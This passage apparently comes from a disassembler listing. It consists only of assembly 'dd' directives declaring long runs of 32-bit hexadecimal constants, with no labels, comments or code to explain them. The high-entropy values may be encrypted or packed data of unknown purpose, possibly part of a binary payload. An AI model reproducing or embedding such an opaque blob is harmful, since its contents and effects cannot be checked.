		dd 0BF040FB0h, 30FA68C8h, 0D519E798h, 0F05E46EFh, 9858B3F9h
		dd 990C8662h, 2D2AF931h, 1AF4EC6Eh, 37E97B95h, 9464C2B2h
		dd 583244D1h, 0FC99AB2Ah, 5653E34Eh, 0A19C5EB3h, 0B8106ECh
		dd 0ACEEC881h, 0E7022449h, 83276B3Eh, 0EAC11DABh, 2FC8D7D8h
		dd 5ED605EDh, 70F62AC0h, 6AF74C28h, 4698CF3Fh, 9BB546EAh
		dd 1D692C38h, 0B2F04E8h, 900F531h, 0C8EA808Eh, 2EEB4CCCh
		dd 122CBF21h, 0E8B716FEh, 3D255684h, 63AD397Ch,	130D6500h
		dd 3037924h, 997D3C05h,	0B930F91Ch, 0E0350305h,	0C99D002h
		dd 85BC4474h, 0A52DAFB5h, 0CA0F5241h, 7A9FA205h, 0D18ECA97h
		dd 13579F5Fh, 5E784B35h, 680BF4C5h, 0C7F95CD1h,	497F8FC7h
		dd 3A5855E9h, 0A9243EEh, 639E2C90h, 0FC885C16h,	0C3AE44F8h
		dd 2214420Bh, 0FD122907h, 24CD5941h, 8A09B9A9h,	721F6D7Dh
		dd 8CC5057Bh, 0D1409475h, 17B4CE4h, 0C839D904h,	0A77C202Eh
		dd 5679965Ch, 0E110A072h, 37AB4A46h, 276DC207h,	89EA8D9Bh
		dd 280FE5D6h, 1AB8E2E3h, 33D95501h, 71819244h, 0E181AF9Ah
		dd 0C2D461F6h, 831E6B30h, 13BDC142h, 0D1CA8222h, 0B2475F5h
		dd 0F67C007h, 0C767871h, 0D60E700h, 45E972D9h, 0EF87A83Fh
		dd 16BE2E47h, 7D250957h, 2F3F22C8h, 810E5301h, 0E70193E2h
		dd 0C70C07EFh, 0C04BF83Bh, 0CF3E3DEAh, 51E795Ch, 88C1585h
		dd 293804EBh, 890298EBh, 0B0565495h, 0CE0AB73Ah, 0C201181Ah
		dd 0C080C3Eh, 672D1873h, 8B2BF833h, 258A0F80h, 0A348D40Ah
		dd 0BF0E9FCEh, 49C38953h, 55BE5DDDh, 0E44E0D25h, 5B09F057h
		dd 5CAB707Bh, 1213E8C1h, 0CC06C831h, 9525C060h,	0E8C32AE1h
		dd 649FDB03h, 895C1799h, 6D30EF14h, 0C093CAE9h,	81E3D10Eh
		dd 600192EBh, 850F7D80h
		dd 9F34121Ch, 704D6D3h,	0F234067Ah, 7255CA8Ah, 74E22FB4h
		dd 770BE066h, 0B1B5E37h, 0B236F2DDh, 0EBC1170Fh, 519E4302h
		dd 2B4B70B9h, 16DF0FF4h, 4ECC4AE9h, 41E4C2D2h, 6970D94Eh
		dd 5D288641h, 0DED8822Dh, 165F490Ch, 1E410483h,	804A605Bh
		dd 0E3086F0Ch, 0F23B1676h, 87432844h, 31CB8A37h, 0E87F6162h
		dd 0A003EFF5h, 80223BE9h, 200BCF81h, 417FC40h, 8A073AF2h
		dd 0FAEDD2EFh, 5F674160h, 0ED026CBDh, 0CF05BD49h, 41118FBAh
		dd 0A44EF09Ah, 4BAE2C5Ch, 9C133B4h, 2DBE2587h, 0E40C3A76h
		dd 0CF18D50h, 62BC2E0Ch, 14125226h, 4D00DCB5h, 4C3C55E8h
		dd 63CA4829h, 98590840h, 0AC3851A3h, 0BF976E36h, 0EDB0D761h
		dd 0CA015C01h, 5B5093C6h, 19405D95h, 99549F58h,	99EBF365h
		dd 0DFD12A03h, 0A835D0B7h, 12BEFB04h, 628C88B4h, 0B6887C03h
		dd 84F977E9h, 0BB53E700h, 0C92E48C1h, 0C69ABF49h, 3C8B7D0Fh
		dd 53598C96h, 5F932424h, 4896A639h, 0ABEED501h,	0E9EC89B6h
		dd 2422697Fh, 4C7D457Dh, 6A49E9C7h, 55A2778h, 1791C15Ah
		dd 0A8825F54h, 4E456F28h, 90DBC300h, 23B142BAh,	3CBA9EFh
		dd 8D91E950h, 50C1A62h,	0E82102C3h, 612CC364h, 31894C40h
		dd 0E430DFF3h, 82E7E3C1h, 236F0D72h, 0C7CE8206h, 2C05C913h
		dd 856CB66Eh, 1AB052E9h, 0C2A2468h, 59046FE7h, 4F9BAF7Dh
		dd 41C5C450h, 0E5813A3Dh, 0B800F3D3h, 40B6681h,	0DAC62906h
		dd 0E1452584h, 606E325Fh, 86228DABh, 0E14B6DB0h, 0C0F95C39h
		dd 9830A775h, 9D82B0EFh, 0F7956381h, 56C9CFD5h,	7F277AF6h
		dd 4A177382h, 2E5DC03Ah, 5F4082BAh, 57CB622Dh, 0F5A642D1h
		dd 273BBDE5h, 4F38DD1Ch, 12634168h, 5F1CC93Dh, 0B9D5EC82h
		dd 0A02FF86Ah, 0C560A968h, 0F3839E4Fh, 5B4002Bh, 516DC480h
		dd 0E92E0CB5h, 9702169h, 0A6E0D962h, 13206468h,	654416Eh
		dd 8B4D93A6h, 1994C707h, 0A3B23430h, 9164D7FCh,	0D76FFD74h
		dd 460B1309h, 77A481ACh, 4670EE31h, 428A40E7h, 0A44AEDB0h
		dd 0B30267FAh, 690774DFh, 64354DC3h, 30FB5904h,	0F1C6E93Ch
		dd 680B1095h, 651B5F96h, 0C229EA63h, 60E9091Ch,	0A5BEBF94h
		dd 0C4A2E72h, 981B0E0h,	9478C0E6h, 0A3A19D82h, 5C78A171h
		dd 2524B653h, 0D013C16Ch, 944407E9h, 998CA31h, 0C21EC689h
		dd 85BF2DBDh, 89EF3191h, 0B0AC6C21h, 5A49192Dh,	5B50A30h
		dd 67E02D07h, 0A3C0CD90h, 0D31541C1h, 49AE904Fh, 0F6022D5Ah
		dd 19885E12h, 1074FF42h, 0ACDD0150h, 3549B0CCh,	0EE1CF8EAh
		dd 5525A6CBh, 951C34D5h, 78E92630h, 0EF9FFA60h,	0B8097730h
		dd 10C71D80h, 57B380CDh, 10D48E9h, 40958B80h, 1897528Ch
		dd 9F65B49Bh, 0F1E0FCD0h, 0DD3EE913h, 90211D86h, 28F8205Ah
		dd 65C35B4Fh, 3E33D103h, 0B96226Ch, 96DE950Ch, 0CC7D98Dh
		dd 412BCD3Fh, 0B4410315h, 0A60BCB49h, 96D68BCh,	5AEB3D19h
		dd 0BA3915AEh, 4CC19BAAh, 3920F354h, 405A76B5h,	304411EDh
		dd 0CD016D14h, 5408419Dh, 0C4E7EA0Eh, 69709D3h,	93BDB8D3h
		dd 0CB29F820h, 0E210D36Ch, 0C68912D7h, 2B9D32C7h, 23F40040h
		dd 5A672C69h, 7BD102BEh, 0C8554908h, 474C66Ch, 31E32B3Bh
		dd 9198BF2h, 0BECB09E9h, 2642BAEFh, 6FDCF765h, 3BB56806h
		dd 0C907DEBEh, 7C675AF6h, 0F3EDE16Fh, 1D5336Eh,	43580569h
		dd 4E13C23Ah, 1A21F875h, 5F1C2332h, 0B1A83B05h,	4DEE6D84h
		dd 0EE257CCAh, 44F6E814h, 0FA4B7BF0h, 0BC8BD4DDh, 0D1492E18h
		dd 2CC93FB4h, 68657758h, 7A44E905h, 0C668AE40h,	0AC7BC56Fh
		dd 0D03500C5h, 0F73987Ah, 6B414B82h, 0CDC5C17Fh, 0CA104FCh
		dd 0F84C1D28h, 0A2D3C052h, 5D82DA81h, 0F925B267h, 0AA0CC1Ah
		dd 5DBC6AE1h, 6B8BE9B1h, 0E0EFAF90h, 6C93056Eh,	0AF9F800Fh
		dd 137E2EC8h, 11F4A62h,	65EC091Eh, 6AE83086h, 0D4344082h
		dd 0A0FBFC9Dh, 0B39CDCDh, 0CA011D61h, 7D209909h, 0A2551EBAh
		dd 0F23567B8h, 13EA0D1Ah, 3A63E1F8h, 1CB232E8h,	7C190F02h
		dd 2A5AAD84h, 34AE724Eh, 0F1FEC5DAh, 30F36AD3h,	21F709C6h
		dd 754BE077h, 1AF90A17h, 1DB0CB80h, 3CC01408h, 7D5AC787h
		dd 0BDFB71E9h, 0DE4F2AEh, 0C7399229h, 6049D17Fh, 14A46822h
		dd 7879E927h, 501F993Bh, 2A497BE9h, 20408B8Eh, 0F6BA66CFh
		dd 5F31E85Fh, 4586C3D5h, 0BFE857DBh, 29FA3BBBh,	24C1FD7Dh
		dd 350AF581h, 0EB24D7FAh, 8966D0F0h, 1975AD1h, 0FEAC8A68h
		dd 40EB2512h, 0B7BBD1EBh, 0CAE30F4Ah, 967554CBh, 0BFE91233h
		dd 6275A248h, 10EF0D0h,	0CC90C580h, 0F5EC63EDh,	1E2D827Eh
		dd 5BE46899h, 0BCDA8303h, 485AB8E9h, 52411F82h,	0E0C1CC30h
		dd 44076CAh, 0FBA26BEEh, 110B0D4h, 95D8EB50h, 2B045D05h
		dd 8AFB2C8Bh, 51B3271Ch, 4C0A80E2h, 5B5E4990h, 39200097h
		dd 30E96602h, 0F62BDE7Ah, 0EB01531Eh, 8E0F461Dh, 95532670h
		dd 0BA87C0DEh, 0EE2BC124h, 0E2716061h, 0D54BBDDCh, 210452Ah
		dd 3EE25D48h, 5F93BE60h, 24685680h, 695A5088h, 8E879310h
		dd 0A1973480h, 302E7A96h, 534BBF7Bh, 584B257Dh,	4F121A16h
		dd 0F7FE61BEh, 8DEC3F5Eh, 89B7E0F1h, 0FC59CE29h, 16CB6FC9h
		dd 1BF3FA7h, 0F64E4C1Eh, 0FD849BDAh, 0A408A099h, 0B45000EBh
		dd 30F48075h, 86E38826h, 5BDC01CEh, 5667E608h, 429A611h
		dd 0CA67B1CEh, 0C231F4C1h, 79F11782h, 0A2609007h, 8540F68Eh
		dd 2E15AE9h, 198B687Bh,	560B49Ah, 27C5DDC4h, 0E40AC0Bh
		dd 86046068h, 5FC3CB66h, 617235FEh, 80000702h, 3890DFC1h
		dd 0A0B55FF4h, 671BC7D1h, 34097B8Bh, 0B8FD4ACFh, 0F2040F9Eh
		dd 76FF861Ch, 39C1072Fh, 0B52BD734h, 35E240AAh,	0F36537C8h
		dd 6DD4DDF4h, 2D3E7B3Fh, 5931A5CAh, 98830238h, 0D3A1E5FCh
		dd 0DB3485E9h, 0CB9BEB85h, 0F83BF145h, 0EFE9C239h, 5444DD75h
		dd 91017390h, 0F7295D45h, 189F43D3h, 19813F02h,	0E91831C2h
		dd 0ADB44446h, 29EE962Fh, 3F8761D1h, 171312B9h,	1CF6D406h
		dd 1413C536h, 5BA782D2h, 0EDDD09DDh, 0C5FE005Bh, 282DB050h
		dd 856B2CEBh, 69EE3549h, 3F0609F8h, 8A4530CAh, 52BBB06Ah
		dd 285EB273h, 0BAA2C5B0h, 0DDBF1F5Ch, 0A539534Ah, 1AFFF0C3h
		dd 963B6326h, 6979AB0Dh, 2C0DDEF0h, 4ED2105h, 0FF012EA4h
		dd 7008F65h, 7595613Ch,	101235E9h, 818BBE22h, 427F827Ah
		dd 0FE82D827h, 5933EE55h, 3B73773Bh, 0FF5088F9h, 64B4AB11h
		dd 490C3ECFh, 955D888h,	0C98E860Fh, 0F1A8137Dh,	283E69E4h
		dd 0B84A061Ah, 0CE891471h, 0B46EEC3Ah, 0CE584BBAh, 7C687DE0h
		dd 56307D5Fh, 99011638h, 68570063h, 0DA079E5h, 2A88D2BCh
		dd 0A7CE82CDh, 0ABC09C22h, 16C4E5C9h, 46AEF088h, 0A7D050E4h
		dd 7AE49825h, 1CF60BA6h, 54894608h, 0CEFE8777h,	0CC963642h
		dd 14F6B1A2h, 8D8289FDh, 4B07136Ah, 0C8ECC1C2h,	7158C2E3h
		dd 1605745Fh, 0F12C4D7Ah, 50070776h, 10FB5693h,	452E051Eh
		dd 275D6C8Fh, 508C39E9h, 1FDBC431h, 0B5510325h,	0C88AC2DEh
		dd 9B353F8h, 6EBC0B2h, 82E29084h, 42524CE1h, 0B6FB3E17h
		dd 9228110Fh, 0CBDEEFBDh, 0DCB06095h, 9B515111h, 62D4F881h
		dd 5376BC79h, 0F1A4A5F0h, 3E48650Fh, 0A6927F8Dh, 0D4171C8Dh
		dd 116BF06h, 0F680E6D0h, 61F58815h, 0B67EC238h,	684A1072h
		dd 444FA06Ch, 92B3944Dh, 10CBEB14h, 53000221h, 4915BB66h
		dd 0E14FE6E9h, 0AD96FDC2h, 0E6057B20h, 2A1C128Fh, 41B6F879h
		dd 3298D407h, 27FECD4Ch
		dd 0D0217E3Ch, 189A0EE9h, 207058BFh, 5502EC8Dh,	0FE6F45BDh
		dd 82EF452h, 9E260DFCh,	1E6E446Fh, 8A8F1F91h, 0DAA4447Fh
		dd 0C35D1F4Bh, 24080DCDh, 0D9F9F893h, 0B3923EC2h, 0B51F788Dh
		dd 0DBA8B8D9h, 1FE0AD2h, 0DE742081h, 0B16B207Dh, 44142209h
		dd 8A38D721h, 0F19DE31Fh, 0E680672h, 0C2204F27h, 0F20926EBh
		dd 0CA8739ABh, 0E5F9FA7Dh, 0F2A7A14Eh, 6E8E4960h, 4CF9C34Ch
		dd 3585826h, 77D873D3h,	0A0C4B401h, 40920810h, 0F724E917h
		dd 82A70DB2h, 0B0804A8h, 6428C154h, 7709CC0Bh, 839C725Fh
		dd 131C0708h, 0F945736Bh, 21C30FDh, 0B5A2921Fh,	665DFAB2h
		dd 0D43C5968h, 0DDCAF701h, 6E01F3CFh, 0A400892Dh, 4B523AFDh
		dd 4234B131h, 23402A85h, 2C49681Dh, 0C2BD8032h,	25760266h
		dd 9C65EF21h, 0ABCF03BBh, 509853Dh, 7AC0174Ah, 8F9A01C4h
		dd 0A072E55Bh, 8809A8Ah, 0D2A4AEE9h, 9083969Dh,	1F3D359h
		dd 230C5515h, 3BECED5Eh, 75C37040h, 0A24F8F3Fh,	0CD66C0A4h
		dd 605581EEh, 0A2BDB855h, 0C1C00B05h, 9628C5B6h, 8D1DE265h
		dd 18E0008Eh, 0E4E50278h, 0BA0C5DEEh, 88607990h, 4506406Ch
		dd 5B406990h, 0DFF7254Fh, 1A495260h, 0C7291913h, 314AC4BCh
		dd 0C281D048h, 0BDB9715Dh, 0E5C1F3A7h, 0F6B9D729h, 1AA5DE21h
		dd 3DA2AA81h, 165ACC58h, 0D7B00971h, 530A327Eh,	0C3408E42h
		dd 3E649E29h, 2492DD89h, 2D11B31Ch, 7018740Ch, 7BB2A97Ch
		dd 0D14000A3h, 483C5FE4h, 42680B0Fh, 582B121Ah,	0B302B5EEh
		dd 0B800E166h, 0FE66D41h, 4DDB0D62h, 800F2941h,	0DCE8DE3Fh
		dd 122F3A17h, 574F0966h, 7F5F61E1h, 0CDEFD013h,	0E154EE56h
		dd 484009h, 0A334F950h,	0EFD11619h, 20658D51h, 1E40A6E1h
		dd 0D701255Dh, 0CD819A55h, 1EEBA895h, 931CCEh, 6B62C981h
		dd 0E9244A4Dh, 32AC2B1Dh, 0F2A56737h, 0C75B90AEh, 8A0534DCh
		dd 9D830F63h, 58E9B142h, 17F972E1h, 4FD2B73h, 1057D46h
		dd 183560BDh, 1EC581DCh, 0A7FEBC47h, 29067FD8h,	4073E9D3h
		dd 25BF9040h, 6B596D84h, 60FBEA44h, 9759E951h, 0D22F3BDh
		dd 6E125A05h, 0E9A177F3h, 6AC6350Ah, 3E261781h,	90D2A757h
		dd 3B5DC81Ch, 1235B31Ah, 613EE1DDh, 0A7AD3A6Eh,	487D1CA2h
		dd 93E8576h, 0C4E91D74h, 36B0D57Ah, 39CB8F30h, 737248E7h
		dd 0BDB3A071h, 234F271Eh, 97A2975h, 4B48E4A2h, 0FFFD12DDh
		dd 192AFA8Eh, 0F547F7D9h, 134B3971h, 72AEFF60h,	0ABFD4ADCh
		dd 56D62104h, 5FC48000h, 0B600B753h, 0F604EFC0h, 9A2BE9DFh
		dd 14872D4Eh, 0F3BF171Ch, 0D7E90424h, 1BF3AFE5h, 51B24C94h
		dd 3A7CFFCAh, 88E816E5h, 541E099Eh, 0ED0F38FAh,	6907F11Dh
		dd 5F04E22Eh, 4FA38D8h,	529E769Fh, 6DADD955h, 5BAC2F9Bh
		dd 8611707Dh, 0F9DF7836h, 0E04A2411h, 0B543524Bh, 8702F1FAh
		dd 0DC0BE2EFh, 625551EEh, 0FF5DC93Ch, 6C058816h, 837C5137h
		dd 8882F684h, 74030906h, 0BFB41709h, 2768952Ch,	58186C4Fh
		dd 0A4A8737Ch, 0D804B1Ah, 53462CC7h, 67758279h,	607F18AFh
		dd 90E8D1FCh, 16FF1C52h, 30E98642h, 0ED39ED33h,	1C21054Dh
		dd 0B79CE829h, 5F165540h, 2F3A02E0h, 76DA43D2h,	0CD12E910h
		dd 6433B902h, 41400173h, 0A01D45B0h, 0F89414Bh,	0AD027323h
		dd 296232DCh, 8B28F9DFh, 0B8573C87h, 6B22E9CEh,	8654B1A8h
		dd 0D1622B02h, 0B808805Ch, 90421870h, 12319A67h, 0B2EE315Ah
		dd 0E7C5C049h, 287F7118h, 8281F529h, 5F60608h, 5DE803F3h
		dd 0C10A3D0Dh, 0E2F6C1DCh, 22870436h, 9F14DFCh,	17AAB5E0h
		dd 20E0445Dh, 507BCCDh,	3A867EA6h, 0E6727B57h, 9705C046h
		dd 18EC306Eh, 0E108DC8Ch, 0E00C5A60h, 0A067D723h, 91DCBD6h
		dd 86E92ECEh, 739DD450h, 0A9E942FBh, 0F51CD95Ah, 1601C6D9h
		dd 577EEB2Dh, 0C1D4C42Ah, 630E25h, 5ADD6852h, 4A64E32Fh
		dd 0B63965AFh, 70814A3Ah, 68004AC4h, 6C932DEEh,	19208607h
		dd 0CD63E913h, 2CE0BCC8h, 60ACF06h, 942EB4C7h, 0EF00C2B1h
		dd 0AECA0225h, 0CD3D20E9h, 61850505h, 61C16C43h, 892B56EBh
		dd 3688E4FBh, 3500C2BEh, 3D0A5A11h, 0D7F985Bh, 294F0687h
		dd 10478A2h, 5349E281h,	0FA88734Ch, 3016B3C8h, 8FDFCF04h
		dd 71685D01h, 0DC002841h, 5984FC2h, 1C927621h, 68C1E057h
		dd 693444A1h, 9492F06Eh, 580691B6h, 0A810C821h,	728853E0h
		dd 7BFD58D7h, 16E6AB27h, 390D8920h, 895CCE87h, 0BEE52F13h
		dd 0F589533Ch, 28C8B2Ah, 0A7E95652h, 2A9BA04Bh,	7B5FA333h
		dd 66722F5Eh, 0D4A6C87Bh, 9191FD22h, 0EC9EE9E3h, 0A0270ABDh
		dd 5C5FC578h, 3A840A76h, 3A1D6663h, 81E3A801h, 0B3395808h
		dd 16F14250h, 0F87CDD0Dh, 0B2E98EE4h, 0F27A95A1h, 0AE645B16h
		dd 320F7056h, 351DA57Dh, 0CC97A1AEh, 14026909h,	0E957516Ah
		dd 0BBDEC861h, 0F33B0FA9h, 0CF664311h, 0B81FC93Ch, 729E1A44h
		dd 95D091DBh, 0EDBA8781h, 89FAF22Fh, 0FE93C053h, 5A8072C1h
		dd 2DE4AC70h, 0DEEF620h, 0D0BC455Eh, 830FF681h,	891BAE16h
		dd 5CDC420Dh, 0E575D2B9h, 34D527BFh, 810684CBh,	0CC3BEDDBh
		dd 1F92F8BCh, 0A8F97BA3h, 0AB927EE8h, 61D7FC7Fh, 84883CB1h
		dd 4640E9C0h, 0B3EE8990h, 3210573h, 883D820Fh, 11410221h
		dd 7CBCD940h, 980B7B84h, 90479A77h, 68CA408Bh, 372DDF32h
		dd 0F06CEA0Dh, 9F1BE6E4h, 0DE1E2618h, 0BE204E81h, 0D19DC069h
		dd 0E1C1585Ah, 9498F8A3h, 0F714662h, 19A38F1Bh,	895F8A9h
		dd 86F4E542h, 0DCC0D360h, 0E241F251h, 946F7941h, 0FCC48405h
		dd 0C888A3FEh, 91F3C3E9h, 1561032Dh, 9C102F7Eh,	474E49D0h
		dd 9B036854h, 5E1EB67Fh, 45EEC86Ah, 64FC0D13h, 21998E05h
		dd 1FE2CCABh, 0F69D459Ah, 0EF5852DFh, 0F81A2809h, 2FB5800Ah
		dd 7127AD02h, 2DE3B6E9h, 4E4E7AF6h, 8C28DD0h, 0EECAFB72h
		dd 484206B9h, 7B0E301h,	0D1282C1Bh, 5440902Ch, 382561AAh
		dd 0F8AF420Ch, 0C163EBE9h, 8412F5D5h, 0B71B3EEh, 9A2FC568h
		dd 5D4A603Ah, 2A5A005Fh, 698BF281h, 0F7330258h,	0D73104DAh
		dd 1708D626h, 0BEAE83E9h, 55E7D430h, 1DEC270Bh,	5EF42E52h
		dd 0E821B825h, 8336ABB9h, 708DEBF1h, 8F987D46h,	0AAE3174Ah
		dd 0EF128B8Fh, 8E48D68Bh, 13932010h, 45D40158h,	57696D44h
		dd 0E9A058BCh, 699CE4BDh, 0A526FC62h, 37705E08h, 9EFA15E9h
		dd 0D9BCB0FCh, 6D7D2C2Eh, 5C4A5120h, 23C6464h, 88D43FA7h
		dd 77B195BFh, 68570142h, 3BED2180h, 86286EF9h, 4538EA4Eh
		dd 0FA8F25E9h, 5FBECE16h, 6F5B7682h, 0A90E44Eh,	15C67A93h
		dd 46740508h, 5CCDC2E4h, 0C689DDEh, 1C201034h, 0EB05E955h
		dd 56269626h, 0B3DD5A6Eh, 1F6D0087h, 0E935B246h, 919A47B5h
		dd 0B004EB5Ah, 0FE13321Bh, 34402790h, 0B9784F1Ch, 0D87A62C5h
		dd 2CA2DA10h, 8BFFE4Bh,	603C87D7h, 0D9248574h, 7F4A029h
		dd 327D3B2Fh, 136DEBACh, 0F712C835h, 0E140D82Eh, 681DBA10h
		dd 0EE5AB80Dh, 0D414969h, 7A0D2D85h, 8330158Fh,	4574E90Ch
		dd 0F75C10C9h, 9C5F7314h, 5F8CFEB8h, 45818EC8h,	1DD89C60h
		dd 8E7E350Ch, 0BFE96FEDh, 79D63820h, 293F2405h,	8A172EAh
		dd 920B315Dh, 8EB85A97h, 0D1045558h, 0C06EC562h, 0F77C09A7h
		dd 800F3904h, 0E940074Fh, 5B2A260Bh, 892A87F8h,	0C904DA40h
		dd 4F443569h, 941DDC2h,	5C4F5354h, 0C32BCC98h, 0AEA2133Dh
		dd 0C71C01DEh, 6A01D359h, 25716514h, 96FCF8B2h,	0FBFA5B13h
		dd 14BD6958h, 0E8FA5F04h
		dd 27E9A8EAh, 0FE9926DCh, 0AEF9092Ch, 2C4C9E38h, 0EEC4A13Eh
		dd 693015B0h, 16395609h, 8B5B1658h, 0B97204EBh,	95A059Ch
		dd 46F4FA91h, 6E0C100h,	949C9AF0h, 0C7E983Eh, 0EB840F1Ah
		dd 60121D69h, 0AB6FD085h, 2D4EDC09h, 703725F8h,	56810F2Eh
		dd 0E8472B4Ah, 68803E03h, 0F82A033Fh, 0EE095D6Ch, 2E099E9Eh
		dd 58CA83h, 3E7DBA6Eh, 15297F26h, 8F3F4AE9h, 5BBCE528h
		dd 82DD858Eh, 5231809h,	0C439DBECh, 844B16B3h, 6CCFABA4h
		dd 8453A94Bh, 0A2F3D2BEh, 21DC3513h, 0E50EF043h, 2B41EC64h
		dd 83B3DAC1h, 16EDD828h, 77B00474h, 0EF874F25h,	8B748B62h
		dd 5025388Ah, 4B7799EAh, 84E504h, 0B88D0F41h, 0EB19C5AAh
		dd 1EAF660h, 3074B95Dh,	803A71DBh, 2FF181A5h, 6F62161Dh
		dd 2B7200BDh, 0CB312DD7h, 0B90649E9h, 0C107B713h, 6FC09481h
		dd 88126EB3h, 4C6CB3F3h, 47932D91h, 8502414h, 3D261D42h
		dd 56AEE312h, 92F0079h,	0F1017354h, 270888D0h, 0D886B05Eh
		dd 14AA9114h, 68002C01h, 0D9EF4E7h, 4E25E95Dh, 16606761h
		dd 0A03E175Ch, 1B1642F2h, 472479C7h, 0CF680802h, 8A74593Ah
		dd 30E37715h, 70049426h, 0E422161h, 0F1FFE01Dh,	0DFC28BF0h
		dd 39A6577Bh, 2C88B302h, 56FBA24Fh, 84070B05h, 0BCD3B9ECh
		dd 3D692A0Ah, 0F5E13BCh, 86462CEEh, 521731B6h, 0A26C60B0h
		dd 0AEBA0824h, 5C2A410Bh, 0A002690Ch, 0D5D11F7Ah, 5836CBCFh
		dd 0DA872465h, 0E091AF1h, 1D8C905Fh, 0D4CC94D9h, 0E7716E90h
		dd 7D4981B4h, 0F8299F8Dh, 10314DE1h, 4A9F9E7Fh,	1F1FBB58h
		dd 5316F62Dh, 0B97FA057h, 250FDA16h, 8F63FC04h,	568722BAh
		dd 27C8CD55h, 70FC802h,	3017C6FFh, 0EF878761h, 0E5327198h
		dd 200C1607h, 0E457BC5h, 0CD016905h, 813BE56h, 597918FFh
		dd 3131E957h, 5B54E0FDh, 0E80A4230h, 4C2E5890h,	0A57D2D02h
		dd 7FE04D7Bh, 459D0128h, 5D1204C1h, 0C766C075h,	0CD582298h
		dd 239610BBh, 0A97B95Fh, 9CB1DB8Bh, 3B782B40h, 0C8893701h
		dd 0F71DE8B6h, 0C3035224h, 0E979DA82h, 0BC2BDDE6h, 8901D396h
		dd 5A381992h, 3B27C92Fh, 66B8A690h, 81D05B21h, 0C070099Ch
		dd 0D349F739h, 0F38E9DB8h, 80790A0Dh, 0A8174B3Eh, 0C10ABFA8h
		dd 1A002E5h, 53E586Fh, 0B42E7089h, 6E723D5Ah, 1DC5C50h
		dd 6CC53558h, 99FD705Eh, 6DA8B85Bh, 0E34297DEh,	0C22D4EB2h
		dd 52F74230h, 621690ACh, 0FCE012Fh, 82D8738Eh, 40C9E119h
		dd 1D126025h, 0EA90D343h, 4BE54F2Ch, 1CFCB334h,	0B21A0C7h
		dd 0E2701FE9h, 72E14976h, 0EDD39D4h, 4DF331EEh,	2CFD08DEh
		dd 7EC2DA48h, 1A2828D9h, 5C7F0AADh, 1D93670h, 4307EBC1h
		dd 0E68F2E9h, 9A12C580h, 0C7AF820Fh, 0CCD9246h,	71187AF4h
		dd 0C4D673A7h, 0AED4A90Bh, 905541C8h, 5B6F1857h, 0A3C6A288h
		dd 683F389Dh, 0E6655DDBh, 0C05651C7h, 765306ADh, 0D155A497h
		dd 0C0BA94BFh, 15D16FEh, 4BD3292Ch, 0A9310C12h,	6EE883BEh
		dd 0CDE91762h, 0E5673412h, 3F39F08Eh, 0CA686EE1h, 8F8D33E9h
		dd 6FBAE255h, 0B68B5F4Ah, 5F4561C7h, 0BCA2AE4h,	7E2533E3h
		dd 1646F480h, 17C4973h,	1D55948h, 41A56F9h, 34FDE581h
		dd 2AC05FF6h, 0A80CF4AEh, 48EA09F8h, 60431AC2h,	657D2288h
		dd 1E75AD68h, 8804F493h, 5A80D3D7h, 0EBF84E30h,	8149D75Fh
		dd 0FADF2BE7h, 8061F509h, 0D25F1493h, 465D0868h, 2162B7B6h
		dd 0F2D93E33h, 46169290h, 7B0E3EB8h, 0F6C0759Fh, 28EF3FBCh
		dd 6F13E91Bh, 7785B25Dh, 965D430Bh, 5B3DFE11h, 0F0A72938h
		dd 299E42EDh, 0AEC08A97h, 2D8582BAh, 0C4428CBFh, 20894280h
		dd 87B53C94h, 0E931D17Fh, 0D86FEBBDh, 41448E10h, 0AF9BD60Bh
		dd 0FEF47841h, 60CAEE4Dh, 2643F928h, 9A6320h, 3E843019h
		dd 422D32E9h, 1CED6601h, 2707BF68h, 0C06396FFh,	55AB9E6h
		dd 0BD040396h, 0FC69FAAAh, 29B804FFh, 8DB2EAE8h, 2A018CD6h
		dd 0EC954B40h, 1981586Bh, 50529E81h, 5BC823Bh, 0C1F4AC2Ch
		dd 0A93CAF81h, 8573B94Eh, 0F5ACD237h, 0BF45F8CFh, 856EA201h
		dd 769131A3h, 0A66E50D3h, 97B07ADh, 0D885548Ah,	0B8C28484h
		dd 3DC3DAD7h, 7B137CE1h, 0CAD50449h, 0BA6605D3h, 0D61AEF94h
		dd 0F909FD76h, 31C39EDCh, 37DCF1D1h, 58762CA7h,	6F50BF81h
		dd 0ACF83694h, 0BC32B51Dh, 0C485C5C3h, 0F48DFA6Fh, 0EFA5FF28h
		dd 40EF9D98h, 93020512h, 122335Fh, 0DEC2FDE8h, 0FC540EA9h
		dd 3F7B053h, 5453277Dh,	0FDADB665h, 0BB9A23B0h,	0AAF239C0h
		dd 3EC3147Dh, 4DFED729h, 0CF1EB213h, 84EB1306h,	0C84FB83h
		dd 29C5B5F8h, 0D1F3BBD0h, 0A8DA873Fh, 0D1E0B1B0h, 8D407A73h
		dd 0CD7B5BE5h, 82CEE5ACh, 4569BF25h, 7000D5A8h,	432E6816h
		dd 748A4B0h, 0DD7D0925h, 0FB62450h, 954C3EFDh, 68B6407Fh
		dd 0F1553025h, 80D28183h, 0E40F2BEEh, 0BAA84516h, 35416DE9h
		dd 231CE0C2h, 0AB64B7E1h, 0EF685908h, 23C901Ah,	87E950E7h
		dd 82A6F61Bh, 20187ACAh, 51425760h, 0A603EFEh, 7792C11Fh
		dd 7861627Fh, 4907B556h, 7378F1D0h, 880617EDh, 2431F9E4h
		dd 0A022B5Ch, 9159A468h, 0FFD6DF3Ch, 7A7D3032h,	26350F59h
		dd 0BE729BCEh, 2876B60Bh, 0E30B9AB2h, 0E5558006h, 0FECC356Ch
		dd 9E276214h, 0C2E15B58h, 7A8663A5h, 9A4F30F2h,	431A6A91h
		dd 0F32784C3h, 0DD867C6Eh, 0C8538F09h, 74627F3Eh, 11AA080Eh
		dd 0B7EDA2A4h, 0C6E2FC7Ch, 64A75619h, 0BA069237h, 0DD60BD74h
		dd 0B72F4639h, 5402D3D9h, 0D761F15Fh, 797F5EC3h, 4C47B31Eh
		dd 0A3FAC5F4h, 0C838D28h, 0B7F10720h, 0C62B99Ah, 7F72D056h
		dd 0E909A7E5h, 0E15C86h, 0D93A53BEh, 0D630F715h, 3630B046h
		dd 47440DDh, 1690D7F8h,	822BFC20h, 0BDFE66F1h, 0B87CED60h
		dd 0BF96ADB5h, 2A4AE9h,	53D9BB0Dh, 46C54D93h, 648C23CBh
		dd 0A3211F0Eh, 0E4DB0926h, 0C60F3DEh, 0FA1BD41Ch, 6EF7414Eh
		dd 65E1CAD0h, 903755BEh, 0C2C2F72Bh, 0CC1B5268h, 0E9208011h
		dd 9E809FC7h, 4B2B5668h, 94B0715Eh, 2E120378h, 258BE933h
